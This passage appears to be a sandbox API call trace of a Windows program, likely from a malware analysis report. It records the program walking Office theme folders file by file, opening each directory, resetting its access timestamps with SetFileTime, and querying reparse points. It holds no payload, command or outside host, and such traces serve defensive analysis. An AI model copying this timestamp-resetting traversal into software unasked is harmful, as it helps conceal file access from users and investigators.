Size=0x80) returned 0xf9c628 [0059.797] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.798] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.799] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa50f0 [0059.799] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0059.800] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa33c8 [0059.800] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa6bc8 [0059.801] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.802] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0059.802] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.803] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.804] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.805] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.805] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.806] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa33e8 [0059.806] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa6cd0 [0059.807] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.809] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.809] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.810] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.811] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3408 [0059.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa6dd8 [0059.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.815] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.816] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.820] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.821] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3428 [0059.821] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa6ee0 [0059.822] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.823] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.824] GetLastError () returned 0x12 [0059.825] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0059.827] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0059.828] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.829] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0059.830] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0059.830] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.831] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.832] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.833] GetLastError () returned 0x12 [0059.834] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4fe8) returned 1 [0059.834] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0059.836] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa50f0) returned 1 [0059.837] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0059.837] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0059.837] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0059.853] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0059.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa8340 [0059.855] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa8340, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa8340, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0059.857] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa8340) returned 1 [0059.857] NtClose (Handle=0x184) returned 0x0 [0059.859] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.859] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.861] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0059.861] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.862] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.862] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa50f0 [0059.863] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0059.867] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.868] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0059.869] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.869] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.870] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.871] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.872] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.873] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4fe8 [0059.874] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0059.874] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3448 [0059.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa6fe8 [0059.876] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.877] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0059.878] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.878] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.879] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.880] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.880] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.884] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3468 [0059.886] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa70f0 [0059.887] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x740) returned 0xf870d0 [0059.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa7c38) returned 1 [0059.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.889] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.890] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.891] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.892] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.893] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3488 [0059.894] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa71f8 [0059.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.895] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.897] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.897] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa34a8 [0059.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa7300 [0059.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.903] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.904] GetLastError () returned 0x12 [0059.905] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0060.068] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0060.070] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.070] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0060.073] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0060.073] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.073] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.073] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.105] GetLastError () returned 0x12 [0060.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa50f0) returned 1 [0060.136] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0060.407] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4fe8) returned 1 [0060.407] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0060.407] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0060.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.407] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0060.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0060.435] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0060.435] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa7c38 [0060.435] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa7c38, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa7c38, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0060.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa7c38) returned 1 [0060.436] NtClose (Handle=0x190) returned 0x0 [0060.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0060.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 